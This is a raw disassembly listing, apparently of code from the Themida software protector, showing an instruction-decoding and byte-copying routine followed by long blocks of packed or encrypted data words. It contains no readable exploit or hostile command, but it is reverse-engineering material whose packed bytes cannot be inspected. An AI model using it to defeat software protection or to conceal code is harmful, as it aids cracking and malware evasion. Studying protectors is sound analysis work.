mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp-7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp-6], bl
jz loc_5871B3
mov ebx, [ebp+0Ch]
mov byte ptr [ebp+0Bh], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov [ebp+17h], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz byte ptr [ebp-5]
shr ecx, 6
sub ecx, 0
jz loc_5870F7
dec ecx
jz loc_5870DA
dec ecx
jnz loc_58714A
cmp byte ptr [ebp-2], 0
jnz loc_587146
cmp byte ptr [ebp-5], 0
jz loc_5870B9
mov byte ptr [ebp+0Bh], 2
loc_5870B9: ; CODE XREF: Themida_:005870AFj
add byte ptr [ebp+0Bh], 4
push ebp
call $+5
pop ebp
sub ebp, 62493CBh
mov dword ptr [ebp+624911Dh], 1
pop ebp
jmp loc_58714A
; ---------------------------------------------------------------------------
loc_5870DA: ; CODE XREF: Themida_:00587094j
cmp byte ptr [ebp-2], 0
jnz loc_587124
cmp byte ptr [ebp-5], 0
jz loc_587124
mov byte ptr [ebp+0Bh], 2
jmp loc_587124
; ---------------------------------------------------------------------------
loc_5870F7: ; CODE XREF: Themida_:0058708Dj
cmp byte ptr [ebp-2], 0
jnz loc_58713D
cmp byte ptr [ebp-5], 0
jz loc_58712C
movzx ecx, byte ptr [ebp+17h]
mov edx, [ebp+0Ch]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_587124
mov [ebp+0Bh], cl
loc_587124: ; CODE XREF: Themida_:005870DEj
; Themida_:005870E8j ...
inc byte ptr [ebp+0Bh]
jmp loc_58714A
; ---------------------------------------------------------------------------
loc_58712C: ; CODE XREF: Themida_:00587105j
cmp dl, 5
jnz loc_58714A
mov [ebp+0Bh], dl
jmp loc_58714A
; ---------------------------------------------------------------------------
loc_58713D: ; CODE XREF: Themida_:005870FBj
cmp dl, 6
jnz loc_58714A
loc_587146: ; CODE XREF: Themida_:005870A5j
mov byte ptr [ebp+0Bh], 3
loc_58714A: ; CODE XREF: Themida_:0058709Bj
; Themida_:005870D5j ...
dec byte ptr [ebp+0Bh]
jz loc_587178
movzx ecx, byte ptr [ebp+0Bh]
mov [ebp+8], ecx
loc_58715A: ; CODE XREF: Themida_:00587170j
movzx esi, byte ptr [ebp+17h]
mov ecx, [ebp+0Ch]
mov edx, [ebp+10h]
inc byte ptr [ebp+17h]
dec dword ptr [ebp+8]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_58715A
mov esi, edx
loc_587178: ; CODE XREF: Themida_:0058714Dj
and al, 0FEh
cmp al, 0F6h
jnz loc_5871AD
cmp edi, 7Fh
ja loc_5871AD
test bl, 38h
jnz loc_5871AD
cmp byte ptr [ebp-7], 0
jz loc_5871A7
movzx eax, byte ptr [ebp-4]
jmp loc_5871AA
; ---------------------------------------------------------------------------
loc_5871A7: ; CODE XREF: Themida_:00587198j
push 1
pop eax
loc_5871AA: ; CODE XREF: Themida_:005871A2j
mov [ebp-1], al
loc_5871AD: ; CODE XREF: Themida_:0058717Cj
; Themida_:00587185j ...
mov dl, [ebp+17h]
mov bl, [ebp-6]
loc_5871B3: ; CODE XREF: Themida_:0058705Dj
mov al, bl
and eax, 7
sub eax, 4
jz loc_5871DE
dec eax
dec eax
jz loc_5871D4
and bl, 7
add [ebp-1], bl
jmp loc_5871E6
; ---------------------------------------------------------------------------
loc_5871D4: ; CODE XREF: Themida_:005871C3j
mov al, [ebp-3]
add al, 6
jmp loc_5871E3
; ---------------------------------------------------------------------------
loc_5871DE: ; CODE XREF: Themida_:005871BBj
mov al, [ebp-3]
add al, 4
loc_5871E3: ; CODE XREF: Themida_:005871D9j
add [ebp-1], al
loc_5871E6: ; CODE XREF: Themida_:005871CFj
mov al, [ebp-1]
dec byte ptr [ebp-1]
test al, al
jz loc_58720E
movzx ecx, byte ptr [ebp-1]
inc ecx
loc_5871F9: ; CODE XREF: Themida_:00587208j
mov edi, [ebp+0Ch]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_5871F9
loc_58720E: ; CODE XREF: Themida_:005871EEj
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
; ---------------------------------------------------------------------------
db 8Bh, 0D0h, 8Dh
dd 2495D88Dh, 0F381F506h, 297B09D8h, 0B5D8D89h, 6A061Fh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 0BBA115C3h, 3C8876EDh, 89FE855Bh, 1F2671BDh, 0C585C706h
dd 74061F20h, 6A000059h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 9ECEC357h, 8D0Fh, 85C70000h
dd 61F137Dh, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0CCC35040h
dd 0FA91E844h, 417B8CF9h, 0E3816684h, 0B5FFA844h, 61F105Dh
dd 95FFF38Bh, 61F2D59h, 72D08166h, 0FF006A14h, 1F1D4595h
dd 0EBC08B06h, 0D1FBD1Bh, 169AD9BCh, 0F7BC8304h, 3AD99C61h
dd 1B84A42Bh, 7A5A9D64h, 0B0F6E785h, 15CE9h, 0BD1D3B00h
dd 0A549C1F1h, 0B75AB197h, 0BC543B0Bh, 0BF54F852h, 0B45A930Bh
dd 9F739F52h, 0CD268E3Bh, 0ED272352h, 597B79C5h, 8AB49D61h
dd 0FB168752h, 0FB179752h, 0FB16DF52h, 0FB16EB52h, 0FB16F752h
dd 0FB16FB52h, 0FB16D252h, 0FB16FE52h, 0FB167752h, 0FB16BF52h
dd 886F8C52h, 0FB7B8A26h, 9464A772h, 88659E31h, 0FB16FD0Fh
dd 0FB16FE52h, 0FB167F52h, 0FB16BF52h, 0FB16DF52h, 0FB16EF52h
dd 0FB16F752h, 0FB16FB52h, 0FB16FD52h, 0FB16FE52h, 0FB167F52h
dd 0FB16BF52h, 0FB16DF52h, 0FB16EF52h, 0FB16F752h, 0FB16FB52h
dd 0FB16FD52h, 0FB16FE52h, 0FB167F52h, 0FB16BF52h, 0FB16DF52h
dd 0FB16EF52h, 0FB16F752h, 0FB16FB52h, 0FB16FD52h, 0FB16FE52h
dd 0FB167F52h, 0FB16BF52h, 0FB16DF52h, 0FB16EF52h, 0FB16F752h
dd 0FB16FB52h, 0FB16FD52h, 0FB16FE52h, 0FB167F52h, 0FB16BF52h
dd 0FB16DF52h, 0FB16EF52h, 0FB16F752h, 0FB16FB52h, 0FB16FD52h
dd 0FB16FE52h, 0FB167F52h, 0FB16BF52h, 0FB16DF52h, 0FB16EF52h
dd 0FB16F752h, 0FB16FB52h, 0FB16FD52h, 0FB16FE52h, 0FB167F52h
dd 0FB16BF52h, 0FB16DF52h, 0FB16EF52h, 0FB16F752h, 0FB16FB52h
dd 0FB16FD52h, 0FB16FE52h, 0FB167F52h, 0FB16BF52h, 0FB16DF52h
dd 0F4582652h, 15FFE926h, 1F680000h, 0E9062499h, 0FFFBB265h
dd 2499FD68h, 0B25BE906h, 0D068FFFBh, 0E906249Ah, 0FFFBB251h
dd 249B9768h, 0B247E906h, 6568FFFBh, 0E906249Dh, 0FFFBB23Dh
dd 249ED268h, 0B233E906h, 0A868FFFBh, 0E906249Fh, 0FFFBB229h
dd 24A07368h, 0B21FE906h, 5868FFFBh, 0E90624A2h, 0FFFBB215h
dd 24A33468h, 0B20BE906h, 68FFFBh, 0E90624A4h, 0FFFBB201h
dd 24A47768h, 0B1F7E906h, 0DD68FFFBh, 0E90624A5h, 0FFFBB1EDh
dd 24AACC68h, 0B1E3E906h, 0D968FFFBh, 0E90624ABh, 0FFFBB1D9h
dd 0B71889B0h, 5CBD5056h, 0FD5E31FBh, 9CFD909Ch, 3A9B703Bh
dd 0F5B6790Ch, 5A5EBF20h, 3A0162C3h, 82A30465h, 0E74CA809h
dd 0B2AF3AB4h, 0B1F69DF7h, 0F38281A4h, 5B2C3F0Dh, 0E136B968h
dd 8EE243C4h, 398EF797h, 0C04EC3E8h, 0B008B879h, 6BEE9DFBh
dd 0AE04BE34h, 3150F2F7h, 3267AF5h, 4ECBA1h, 0B1760000h
dd 5CB11A74h, 0E96C230Bh, 2C75BC4Ah, 9FBAF37h, 0B76C4FA0h
dd 0A04E9534h, 25F7AD37h, 57EC14A6h, 77265117h, 2C0E5FC8h
dd 0C957F679h, 0F6E30F46h, 0F4BAF7ADh, 65499E21h, 0EEA02FB2h
dd 54F648CFh, 576F935h, 0B5CFA103h, 7A000000h, 850881A4h
dd 179A0F30h, 0CD426DBEh, 18BD3164h, 6312F18Eh, 0D45570D5h
dd 6029FC51h, 1C6FBCFFh, 97AEF18Eh, 0FF50B516h, 8CE1643Bh
dd 0AE3CEBA2h, 28AB7C49h, 5AC345E0h, 0CE5E9851h, 0D40A958h
dd 0FBAF9C80h, 0EC3DA655h, 29597C0h, 37B7EA53h, 98F7ADB2h
dd 0A6FA5BE9h, 73A60F7Fh, 1CD41DBh, 53A40DBCh, 0ED52B368h
dd 7301949Ch, 0FD782D0Eh, 0E2FD89DEh, 7BDE2DB0h, 85000013h
dd 2182E3BCh, 0C223841Bh, 63C425F8h, 263C45Bh, 0D5036439h
dd 0E7BC7FB0h, 8A1D2586h, 2EE3C829h, 0D0596CCDh, 7BAE136Fh
dd 0F7B2B173h, 0A478BD64h, 44A5069Bh, 0F647A861h, 0B11A74B1h
dd 0AF37237Eh, 8205B4FBh, 41880829h, 3A6F7CE0h, 3D1DF505h
dd 8A184650h, 0AD36AF43h, 57A801F7h, 9C3BBE51h, 13D5C0Eh
dd 0A102456Eh, 0BAD7h, 81A48200h, 0F308508h, 9443DAE4h
dd 1AC0A2Bh, 0B639ECD0h, 0D46BE217h, 0E51C9F2Dh, 0F18E8746h
dd 0B5396CC1h, 0E0F18E87h, 27C649DCh, 5ABF4DFCh, 859C24Bh
dd 3E076C3Dh, 0BD4BEA6Dh, 612AFB5Ch, 0FF8F96DEh, 0A57A4596h
dd 127BAE17h, 0C3FBAF76h, 0C65FB314h, 372C5FC8h, 8001CD05h
dd 141768D1h, 0F2BD1E7Fh, 70C3A21Dh, 0DC5FE2FDh, 129D8Dh
dd 1182A700h, 0B6694FB0h, 53CAF455h, 0FAAD91F2h, 0A2773899h
dd 0BD721341h, 5BBC1DF2h, 0FE5FC057h, 0A2036439h, 4DA90A83h
dd 0B139B5E8h, 0F79EF7B2h, 6F4FA0B2h, 0DCE035B8h, 0A70C9A49h
dd 4DAE0F84h, 0F546AF78h, 37D659CEh, 0A4F748A9h, 30850881h
dd 0DA2B9415h, 19B83BD2h, 0E7C92A8Bh, 4D58AD30h, 23135BBCh
dd 79E2AC79h, 0AF388746h, 0A9948FBh, 1D6E80A1h, 0F18827A2h
dd 0D51C63h, 50D5EE34h, 70610CB0h, 240CB13Dh, 427726E3h
dd 0F2A177D7h, 9C6D3889h, 83EC7A19h, 45202950h, 0DC5F0EEDh
dd 8CF59194h, 0C5C2E637h, 0DA1B3CD7h, 0A12FDE63h, 377C095Ah
dd 0BA23D2F3h, 0C28A4465h, 0B243F846h, 25E6BF24h, 0C94263C4h
dd 6BA6054Eh, 43921513h, 11CAh, 0D334EDD4h, 78D94C72h
dd 21821517h, 0C829FCC0h, 6ECF4467h, 0C1EA2D40h, 0A68AEB4Ch
dd 62D8EEFh, 0F6CF3091h, 1378D435h, 0B2B20EE0h, 0D51AC1F7h
dd 9F0881A4h, 9E569A7Eh, 0E786099Ch, 0A9688FB2h, 0D550981Bh
dd 9C1D50B9h, 0F9FBAF1Dh, 0BD88E94Ah, 0D3283ECh, 0E8761598h
dd 7E081D65h, 9EF3E215h, 459601C9h, 0EB16A47Bh, 0A382D33Ch
dd 1D2889EAh, 8E3DD0D6h, 2462C30Bh, 156D88BBh, 0E952FBE6h
dd 0AD2A38B6h, 39E897F7h, 0E5A67FD0h, 8E012B7Ch, 673E9F00h
dd 4ADB23A6h, 0BE82D33Ch, 37C564E7h, 365879CEh, 0A700EA3Eh
dd 0CC4FC6ECh, 13197E2Dh, 0CC5AF97Ch, 0CEE44C85h, 5FDA8901h
dd 0E2C30E1Ah, 35EAD30h, 0D000011h, 0A90A6B24h, 4AAB0C83h
dd 0EB4CAD60h, 8AEB4CC3h, 5D8BECA1h, 6F240708h, 1285AD0Eh
dd 0B66B50B1h, 58D1F455h, 3369BF7h, 0F7B2B3EBh, 0A40045ECh
dd 51A5069Bh, 1E51BAD4h, 0FBAF08FFh, 499E21D0h, 0ED42AB7Ch
dd 0B6FD909Ch, 0F7AD2838h, 0F95AE897h, 0A87F4394h, 93F88625h
dd 2E76F9B2h, 221911F7h, 632B1551h, 1C7B882Eh, 8736F070h
dd 0B678C91Eh, 2FBD5CDFh, 0CE8151E8h, 0E5D7F801h, 6F9B19DDh
dd 0C245C6DFh, 0BBE67423h, 893B890Ch, 8F182D6Ah, 854BDA2Eh
dd 0D039E8BFh, 0AFFE809Dh, 0C8F055FBh, 8433D255h, 5757A801h
dd 0C4E83DC0h, 0AF14A251h, 0C6595F96h, 53059417h, 65210434h
dd 0EE54C9FCh, 4AF901CEh, 0FC2F84E9h, 0F18F0EF2h, 43A836E5h
dd 0EF26A962h, 0F18EFE03h, 4081A04Eh, 6DA0CDEFh, 0F18EFE81h
dd 75F8A756h, 0DB8A1F20h, 0FEAF3F72h, 7120F18Eh, 0E6A77EE3h
dd 3AFF2085h, 32E7708Bh, 0C7DE43D1h, 0AA7BC346h, 62FFEF22h
dd 21D0F18Eh, 83D60972h, 0E6FBAF75h, 91905E91h, 903FF7ADh
dd 0C728D702h, 14DA0D62h, 89F7AD91h, 0CE6DF0A7h, 1A66F4A3h
dd 0EC2633Fh, 5BC4732Ah, 0EC6F260Ah, 3DB1E44Dh, 92F7AD91h
dd 97EC55E3h, 78B07476h, 0BF5EE1B4h, 0E4AE028Ah, 45BE0F56h
dd 0B0D101CAh, 0A7DA3D9Ah, 0F1C9DC47h, 71A4D988h, 85B3C1C6h
dd 0A3D5E977h, 0F4AB8FF4h, 1944D271h, 0B576DB6Ah, 0CC265DE0h
dd 0CDF1C984h, 58DBB27Ch, 52D32BB9h, 5598CB34h, 3CFBE5FAh
dd 7C53061Bh, 8C3764FBh, 4B93C877h, 749F2D84h, 3A0B5CC5h
dd 96AF1071h, 0E8399215h, 2FCE51C4h, 0E8733CA1h, 30CF52C7h
dd 43890681h, 5EE1E4DCh, 0F350Fh, 0A97A3F00h, 4EC1E748h
dd 0EBA28CEDh, 9205298Ah, 3AEFD031h, 55DAABD9h, 0F354B56Ah
dd 96F758CFh, 3A9BFC91h, 0E541A26Bh, 0B5A14D80h, 8F36F7B2h
dd 69BA44Ah, 0B0794C9Dh, 37598E2Dh, 0C0E3EB20h, 75D637C5h
dd 4D6ED750h, 9160A582h, 0F2BA1F47h, 6BF9981Bh, 0F9B293E8h
dd 827D576h, 0D031FACBh, 0E404FF70h, 94C71C9Ah, 0F18EEA5Ah
dd 4769CE7Dh, 20AE4DD0h, 181E1h, 81A48C00h, 15308508h
dd 7DCE3394h, 0F0005AB7h, 0FC283AFCh, 0BE67BF4Dh, 0FD3467D0h
dd 9CFBAF7Ch, 0E5B0A97Bh, 93216297h, 0FF36B968h, 0F7AE0BF3h
dd 0BBFC1BBDh, 0BBB3366h, 6D1CF7AEh, 2DF47BDFh, 0D627A103h
dd 74B341D4h, 42h, 694FA01Fh, 55D028B6h, 49DD039h, 0D1FBAF37h
dd 8A689F22h, 13F7AD37h, 0A2F77A2Dh, 3886099Ch, 8EE06786h
dd 0DE91CDECh, 3DA10245h, 2B39B5E8h, 0EF9EF7ADh, 3574F9BAh
dd 0AF3D9F7Bh, 0A770h, 81A41B00h, 37BA7352h, 0D66E998h
dd 5644DAECh, 53E1B0A7h, 0D558CDEEh, 0C2EA580h, 0C8771699h
dd 979BEC45h, 50DE7D00h, 0F051DAEBh, 8EE97EADh, 7F081DF1h
dd 2B5BCA1Eh, 0D94E71C2h, 32AFE24Bh, 83FBAE6Eh, 111A6BD4h
dd 95B61B7Ch, 647C9436h, 2F942297h, 93DEE10Ch, 0C447F6A9h
dd 92FB7625h, 0E0E4E212h, 0DC80E5Dh, 0EFD20000h, 4E74D536h
dd 2B1576D7h, 8AB21374h, 6E51B213h, 5B2A58B9h, 0D536EBD4h
dd 78D94C74h, 1A7B1017h, 0BA1BECB9h, 28C6F95Eh, 0A7F7B2B6h
dd 4FA0BB00h, 0C328B669h, 61C223F8h, 1162C344h, 9F0881A4h
dd 745D307Eh, 0C856E860h, 9AD5F045h, 8E908767h, 70383EF1h
dd 26B680ECh, 0B0E34CFBh, 0F18E573Eh, 0D233E291h, 50D35471h
dd 488DD6F7h, 985C5281h, 94B15F79h, 67F5A49Bh, 0F78160Fh
dd 0AF7709DCh, 0BE1FCEFBh, 73463h, 9BA40E00h, 0A64C8306h
dd 4F18E18h, 0C9FC6521h, 0FBAA8E1Ch, 3889F2A1h, 7B1A9D70h
dd 0F3811416h, 9B6C398Ah, 0BE84D53Ah, 37C564E7h, 0B73AF3D2h
dd 370E5962h, 679AF376h, 0F7B2AE87h, 3BEA9948h, 0E72ADFC0h
dd 0DD2CAFE4h, 0CF2h, 0FB5C35FCh, 0A001949Ah, 49AA7D3Fh
dd 0F051C4E8h, 96F7AC8Fh, 29120568h, 8EB21374h, 6E55B617h
dd 2EF758B9h, 3BA0FC5Dh, 0B2B7E608h, 0FD42E9F7h, 0A5069BA4h
dd 25A86144h, 0B134F5D0h, 2436210h, 0D41C5EE1h, 81B4DC08h
dd 0F18EC06Dh, 0CF04B362h, 8EACB146h, 0B51AA8E5h, 0C42A5D90h
dd 13F18E94h, 911489AEh, 0D9DE43F2h, 7322C144h, 6C82B50Ah
dd 6BF18E94h, 0C05757BCh, 0AF109E3Dh, 0E3A3204Fh, 0D259Ah
dd 0C2D00000h, 0F18E01FAh, 0FDA4EE4Dh, 0C299FFFFh, 0F18E1830h
dd 72DBAB7Ah, 50A49A51h, 0B3417377h, 99C6174Ah, 38E7FBAAh
dd 0E4B97ECFh, 0CB34C261h, 81E2AB7Ah, 1840520h, 930E83ACh
dd 0E4E7211Eh, 27BA098Ch, 3100000Ch, 0D5369708h, 76D738EFh
dd 1F80E1B4h, 0C627881Fh, 0A1CF30E5h, 0AB604BCCh, 4EC1E94Ah
dd 0F2A78CEDh, 94153091h, 3F72D733h, 0F7B2B8AFh, 0A4347920h
dd 30850881h, 70119415h, 1162A3C2h, 85EA782Fh, 2686E7A0h
dd 9AE32749h, 0A44A7DD2h, 33F18E0Ch, 6E81B84h, 0C9F18E0Ch
dd 1E4D8C1Ah, 0F8000000h, 46D4FA0h, 48E76A3Fh, 0CFEF6499h
dd 0E7F82D23h, 8EAA1259h, 1E7DF18Eh, 0FFFFFCEEh, 1A74B1C9h
dd 67F7EB1h, 0A150FBAFh, 260AE71Eh, 2A4F7ADh, 48C8A7E3h
dd 0B07DA102h, 14000001h, 1E628CBFh, 0C675F7ADh, 0C2E338h
dd 53F18E18h, 0EDBE87DCh, 911A2B8Ch, 5864B50Eh, 9AF037C5h
dd 43F18E17h, 0D025A87Fh, 5FB437EEh, 0A241C45Bh, 0EC739244h
dd 80BDDC8Eh, 2F83E4A5h, 0BD1295F9h, 5DBE1FE8h, 8AB40548h
dd 1822CC13h, 0B37BF18Eh, 8FBA59DCh, 77AE31E0h, 0F18E180Bh
dd 0C80423C5h, 9AE33AA7h, 1469Eh, 81A44900h, 15308508h
dd 46DF3394h, 85ACDF48h, 52FBAF1Eh, 76C720A3h, 84FDDB0h
dd 0F7AD1EEAh, 0C40524C6h, 4BD95273h, 24088E7h, 35BDA1h
dd 0FF540000h, 0AD1622CCh, 0DCB37BF7h, 1F7402B1h, 0B11A74B1h
dd 0AF37237Eh, 192576FBh, 841B2186h, 991CCBF6h, 0AD379062h
dd 5F7E20F7h, 2464C23h, 0B3F9A1h, 0A4A40000h, 0B76E5281h
dd 63E69534h, 0F5782D0Eh, 9B0485A0h, 2DB0654Ah, 287D008Eh
dd 0C62B8C1Dh, 84052071h, 0D31B6201h, 4F18E18h, 870A9D9Fh
dd 64AB39E8h, 0F18E103Fh, 3AA789DAh, 6DF09F76h, 0CADB40CEh
dd 998CE041h, 30EE0033h, 83A7F18Eh, 0BFEA890Ch, 0C5F86110h
dd 0FBADBD1Ch, 4CA10AB9h, 0CD2AC4F7h, 0FEADF7AFh, 6B200B70h
dd 1186A90Ah, 0E2091196h, 0C71699E4h, 0A42h, 4BAC654Ch
dd 0F051C4EAh, 99FAAD8Fh, 40A17438h, 0E647DCDFh, 5962D5B8h
dd 3E0263C4h, 9EA50667h, 7E47A809h, 8BF04CADh, 0B2BA9658h
dd 4D9239F7h, 0A5069BA4h, 47A86144h, 881A4F6h, 0D7DB2C85h
dd 8498BD40h, 9D94FC26h, 7E3EA352h, 91B419A7h, 0E25CB718h
dd 0F3000003h, 80039AA2h, 7CFAF427h, 2EDDF18Eh, 0BD9CF17Fh
dd 305EC7DDh, 8E3C94C7h, 0EC9BFBAAh, 6620055Dh, 9B47CAFDh
dd 611001D3h, 0B34BA7DEh, 0C365F1C9h, 0DB0E63A4h, 0F1C9B313h
dd 0F46A38BAh, 305BEC5Dh, 0E08FF381h, 659B1ED0h, 341h
dd 3A7FA010h, 2D27066h, 0EB074EDCh, 0D0F18E7Bh, 0F18E7B17h
dd 76369A8Bh, 7B3CB2E5h, 0EC9BF18Eh, 6C1BBA3Dh, 94DDD003h
dd 0C372FBAFh, 0DCC5B548h, 83D255E4h, 966h, 77D84970h
dd 1C7D1016h, 0BD1EF1BBh, 5CBD505Ch, 0FA5B30FBh, 0B576B9CCh
dd 1A1E7FE0h, 0FAC12283h, 4263C425h, 0A70C68C9h, 0B2BB7A74h
dd 71B65DF7h, 850881A4h, 4AA4D72Ch, 8DF18E18h, 2DF850DEh
dd 32D7F861h, 0D91EE882h, 970C3398h, 7EE77514h, 0AAED7E4Bh
dd 47A857FBh, 0EB5432F3h, 0CF570DB8h, 380D7201h, 257C06Fh
dd 8E771FCFh, 7301B0F1h, 1EF1B90Ah, 78507ABDh, 0D75AF18Eh
dd 761CD205h, 86BBF18Eh, 0A5ECDEB8h, 0A5540316h, 48DFE344h
dd 141B6CC5h, 0EC5D4F9h, 34E3C809h, 0A36441A6h, 4CC3E93Ah
dd 199C2AC9h, 0B6386BC0h, 19F18E68h, 6A198CB4h, 0E5A184DCh
dd 7928497Ch, 0FEADFBAFh, 0DCDCC883h, 0C8179AE4h, 89Ah
dd 0A3049DA4h, 48A97C42h, 0F152C5E7h, 98F9AC90h, 3E9F7437h
dd 0F1BA7D10h, 565ABB1Ch, 36FD5EBFh, 869F0061h, 0E348A405h
dd 0B2BC3EB0h, 0A5EA91F7h, 0B11A74B1h, 0AA8E477Eh, 70D988FBh
dd 31E4CA1Bh, 1C810FAEh, 0BF208114h, 9ABB24FBh, 981C0EE0h
dd 8D109E12h, 3DA6E045h, 0CF71BF0Ah, 0E6691801h, 9E07879Eh
dd 0AFB2066Bh, 0A520CFFBh, 0E4DCED24h, 23F443C6h, 2D000008h
dd 0C92A8B04h, 6ACB2CE3h, 0B6CCD40h, 0AA0B6C23h, 7DAB0C81h
dd 8F0427E8h, 32E5CD2Eh, 0D64B70D1h, 78311475h, 2356BB17h
dd 0F7B2BCCBh, 0A420650Ch, 2C850881h, 184AA4D7h, 0DE8DF18Eh
dd 0CBDAEB50h, 71D12D1Dh, 0D903F71h, 0F1B6076Ch, 6CFA991Ch
dd 475E9BBAh, 6A0565C6h, 0DB9AE33Bh, 165h, 5F2A5172h, 40293800h
dd 6AF8A77Eh, 881A415h, 0F1A77E9Fh, 9A4D1EEBh, 1134890Ch
dd 9645D8E2h, 9444E135h, 2277FAAFh, 6100831Ah, 459A03B2h
dd 4B31BDF0h, 3568F18Eh, 0F18E4BB9h, 95446F1Eh, 5171C007h
dd 37E6FBAFh, 4D757DB4h, 0E23BF7ADh, 0CD1205C1h, 4A7DD171h
dd 0F7ADB4A4h, 47D58433h, 353A7695h, 0E6A102D7h, 71F4AB95h
dd 490544D2h, 0B0000000h, 349474B1h, 34027C3Bh, 79AC15C4h
dd 0FBAF7628h, 0E4B97ECFh, 19D50861h, 0BEF7AD38h, 0A7D2600Fh
dd 0FB1C75F8h, 0C273963Fh, 2168F64Ah, 0F7AE11D1h, 0E21E3DDFh
dd 0A1031F8Dh, 0E806398Eh, 0E7F7AE05h, 8D6BAA38h, 16000000h
dd 850881A4h, 179A0F30h, 0A72AE3C2h, 59BA7352h, 95DAD3F4h
dd 5B465D18h, 313586CDh, 495CF18Fh, 1A0B5FC0h, 5E65F2B6h
dd 0F8971AC9h, 34ADE049h, 81FBAE86h, 171869D2h, 0FFC02182h
dd 0F000AF2Ah, 57DAE4E2h, 6BD08h, 31E2C700h, 0D6496FD0h
dd 732A1475h, 1A8DB112h, 0C25758B9h, 0DD523361h, 7BDC3DD2h
dd 1E7FE0B7h, 0C2238419h, 6DC92AE3h, 0BD19D508h, 17BEF7B2h
dd 184BA0D2h, 0F18E18D6h, 57BC4AF9h, 0FD5EBF54h, 0ADFE5F28h
dd 9F0881A4h, 3E6B3A7Eh, 206EA37Ah, 79FC8ABBh, 0F3D20124h
dd 0CF2A8B3Ah, 55h, 0BE7FA07Ah, 633DF461h, 0AAA1ED7Bh
dd 508349DCh, 0F18F119Eh, 2DE0CC31h, 0AD5C0BAAh, 87BE1144h
dd 600FFBABh, 26D6F7h, 647022DAh, 1FB47D6h, 0A7107EA7h
dd 2D1E3152h, 0FA023C94h, 0C9A5256Ch, 33E201CEh, 4745A4h
dd 87DC0000h, 8EC59A54h, 8E3DF1h, 764FA0ABh, 59332B5h
dd 0A50E78ADh, 0AF2AE772h, 8E11C0FBh, 4ADFE435h, 9A8275BCh
dd 0A745F7ADh, 0C1CD5888h, 8DB20358h, 16438A18h, 0AFF59008h
dd 82449F00h, 0DB000000h, 5DEBA28Ah, 1A74B108h, 8E4F7EB1h
dd 0D180FBAAh, 0A8EC1048h, 0D09FDBFAh, 75A107BCh, 55h
dd 1A74B120h, 8E527EB1h, 0D281FBAAh, 99A3F449h, 56E48306h
dd 0F4A2F20Ah, 0C3F94D5h, 0F7B2AEE2h, 0AADD46F5h, 0F7B2AE44h
dd 0F256E493h, 0A107BC7Dh, 20C8h, 74B17300h, 14C35A64h
dd 8E5778ABh, 8938FBAAh, 6034C800h, 185793B2h, 2DA107D1h
dd 0Dh, 3198C2D8h, 4CABF18Eh, 0FFFFFF49h, 6474B1F7h, 0A544C75Eh
dd 435A8DF6h, 0D6FBAA8Fh, 67EABD85h, 0F77A3312h, 0F01BA958h
dd 0AF76BE41h, 1B2576DFh, 4DC74F84h, 6AA84E2Bh, 8A4073DCh
dd 0F01CF5Dh, 0A528FDBEh, 49BA106h, 2954E281h, 3BA6F7F4h
dd 0B867352Dh, 4E38ED35h, 0DE43B2E5h, 0BF24FBAAh, 0C7524FBh
dd 0C122F5BBh, 65CEB86Dh, 0CF546B32h, 349D4C01h, 0E647DCE3h
dd 0A8F51AA3h, 0A3644149h, 0A38CDD42h, 2AFB60EEh, 9EA7F861h
dd 0B6EB8A0Dh, 0E8EBB337h, 0BB3ECCA8h, 6BD4B273h, 0D5B70138h
dd 4EB76693h, 0DF6235FDh, 0E12FB240h, 0F2D3102Fh, 0B077D839h
dd 3D0358DBh, 88B0016Ah, 6399215h, 8FC7D4E8h, 0FB8938E7h
dd 86192378h, 198CAE03h, 92B15396h, 0F716B80Bh, 0B59AF5BAh
dd 7CEEE91Fh, 5DB21BCAh, 0C71FC42Ah, 0D664138Fh, 7BEF1075h
dd 0E7BC7F99h, 2690C564h, 1D821071h, 0C2FE8116h, 0A5C61B38h
dd 0C0F3B0EBh, 8FC74F2Eh, 3CBDF2A1h, 3CEE7C44h, 0A18BDC1Dh
dd 34FB60EEh, 0B1ADFE5Fh, 3C911476h, 1637A069h, 0FF791F05h
dd 0A82BB946h, 7486719h, 9D20F5B6h, 0A1456978h, 0B4637355h
dd 3559CE26h, 0D95273D4h, 7FE31850h, 5075B2D1h, 0DDE348D7h
dd 5E90C74Ah, 3EF18F11h, 0A306D8Ch, 0EAD13293h, 4477CC35h
dd 0F18F11AAh, 0A4497E2Dh, 0E9817E67h, 33ABD4Bh, 0F18EB5EEh
dd 0E92645F7h, 87EC4DC2h, 13A17436h, 8ED266CCh, 763EE7F1h
dd 3F4B5F4h, 0C580F054h, 80C79AE3h, 72FFFFFFh, 0A70881A4h
dd 34F87F46h, 6029FC61h, 0CED728B1h, 8C3EB43Dh, 9415306Dh
dd 0E93F0A2Bh, 2BDCD773h, 6A098C03h, 3A9E2DBBh, 9AE3CC35h
dd 5510h, 4FA0BB00h, 9635B86Fh, 1975B008h, 8E4D7DB0h, 218AFBAAh
dd 0B2AE00EEh, 0F7B095F7h, 0CB4067CCh, 8FE46D1Ch, 0AEE7073Ah
dd 39E8F7B2h, 0D89C5FABh, 71C60726h, 0B2AEB03Eh, 7701FF7h
dd 0B2AE1AD4h, 800EBDF7h, 2891FD28h, 0CF23D5F5h, 7403B201h
dd 4315h, 74B1C000h, 4C7EB11Ah, 4DFBAA8Eh, 0DF6237FCh
dd 0D887B240h, 86071E6Fh, 4DD66403h, 55F3E915h, 9BA4F536h
dd 5207806h, 338EFD3h, 26F65EB8h, 0C831E0FDh, 0CF133595h
dd 7AE39201h, 88B1C29h, 0F74CDB69h, 9F0881A4h, 0CCFF6C4Eh
dd 0F18E1822h, 0D45706B5h, 0CB24A735h, 53E1B47Ah, 0F556D7EEh
dd 0A10A84A1h, 0AF1EC36Eh, 7CE594FBh, 0C1FE4D5Bh, 62F0ECA0h
